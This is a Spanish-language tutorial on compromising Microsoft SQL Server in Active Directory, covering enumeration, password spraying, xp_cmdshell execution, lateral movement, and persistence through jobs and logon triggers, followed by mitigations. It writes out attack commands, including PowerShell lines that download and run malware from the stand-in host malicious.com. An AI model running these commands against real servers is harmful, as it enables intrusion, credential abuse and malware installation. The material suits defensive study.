Microsoft SQL Server en Active Directory
Microsoft SQL Server es una plataforma de gestión de bases de datos ampliamente utilizada en entornos empresariales. Debido a su integración con Active Directory (AD) y su capacidad para manejar datos críticos, SQL Server es un objetivo atractivo para los atacantes. A continuación, se detallan las técnicas más comunes para comprometer SQL Server en un entorno de AD, junto con ejemplos prácticos de explotación y medidas de mitigación.
1. Enumeración de Instancias de SQL Server
La enumeración de instancias de SQL Server es el primer paso para comprometer un servidor SQL. Los atacantes pueden utilizar herramientas como sqlcmd
o PowerUpSQL
para identificar instancias de SQL Server en la red.
Ejemplo de explotación:
-
Enumeración utilizando PowerUpSQL:
Import-Module .\PowerUpSQL.psd1 Get-SQLInstanceDomain
Este comando enumera todas las instancias de SQL Server en el dominio.
-
Enumeración utilizando
sqlcmd
:sqlcmd -L
Este comando lista todas las instancias de SQL Server disponibles en la red.
2. Ataques de Fuerza Bruta y Password Spraying
Una vez que se han identificado las instancias de SQL Server, los atacantes pueden intentar ataques de fuerza bruta o password spraying para obtener acceso.
Ejemplo de explotación:
-
Ataque de fuerza bruta utilizando
sqlcmd
:sqlcmd -S
-U -P Los atacantes pueden automatizar este proceso con scripts para probar múltiples combinaciones de usuario y contraseña.
-
Password spraying utilizando PowerUpSQL:
Invoke-SQLBrute -UserList C:\users.txt -PasswordList C:\passwords.txt -Instance
Este comando intenta múltiples combinaciones de usuario y contraseña contra una instancia de SQL Server.
3. Abuso de Configuraciones Inseguras
Las configuraciones inseguras, como la autenticación mixta (Windows y SQL Server), pueden ser explotadas por los atacantes para obtener acceso no autorizado.
Ejemplo de explotación:
-
Autenticación mixta:
sqlcmd -S
-U sa -P Si la cuenta
sa
tiene una contraseña débil, los atacantes pueden obtener acceso administrativo al servidor SQL.
4. Ejecución de Comandos y Movimientos Laterales
Una vez que los atacantes han obtenido acceso a SQL Server, pueden ejecutar comandos y moverse lateralmente dentro de la red.
Ejemplo de explotación:
-
Ejecución de comandos utilizando
xp_cmdshell
:EXEC xp_cmdshell 'whoami';
Este comando ejecuta
whoami
en el servidor SQL y devuelve el resultado. -
Movimiento lateral utilizando
xp_cmdshell
:EXEC xp_cmdshell 'net use \\otro_servidor\recurso_compartido /user:dominio\usuario contraseña';
Este comando monta un recurso compartido en otro servidor, permitiendo el movimiento lateral.
5. Persistencia mediante Jobs y Triggers
Los atacantes pueden establecer mecanismos de persistencia en SQL Server mediante la creación de trabajos (jobs) y triggers.
Ejemplo de explotación:
-
Creación de un job malicioso:
USE msdb; EXEC sp_add_job @job_name = 'MaliciousJob'; EXEC sp_add_jobstep @job_name = 'MaliciousJob', @step_name = 'Step1', @subsystem = 'CmdExec', @command = 'powershell.exe -Command "Invoke-WebRequest -Uri http://malicious.com/malware.exe -OutFile C:\malware.exe; Start-Process C:\malware.exe"'; EXEC sp_add_jobserver @job_name = 'MaliciousJob', @server_name = 'SQLSERVER';
Este script crea un job que descarga y ejecuta un archivo malicioso.
-
Creación de un trigger malicioso:
CREATE TRIGGER MaliciousTrigger ON DATABASE FOR LOGON AS BEGIN EXEC xp_cmdshell 'powershell.exe -Command "Invoke-WebRequest -Uri http://malicious.com/malware.exe -OutFile C:\malware.exe; Start-Process C:\malware.exe"'; END;
Este trigger ejecuta un comando malicioso cada vez que un usuario inicia sesión en la base de datos.
Medidas de Mitigación
Para proteger SQL Server contra estas técnicas de explotación, se pueden implementar las siguientes medidas:
-
Deshabilitar
xp_cmdshell
si no es necesario:EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
-
Utilizar autenticación de Windows en lugar de autenticación mixta.
-
Implementar políticas de contraseñas fuertes y autenticación multifactor (MFA).
-
Monitorear y auditar regularmente las actividades en SQL Server.
-
Configurar alertas para detectar actividades sospechosas, como la creación de jobs o triggers no autorizados.
En conclusión, Microsoft SQL Server es un componente crítico en muchos entornos de Active Directory. Comprender las técnicas de explotación y aplicar medidas de mitigación adecuadas es esencial para proteger estos sistemas contra ataques.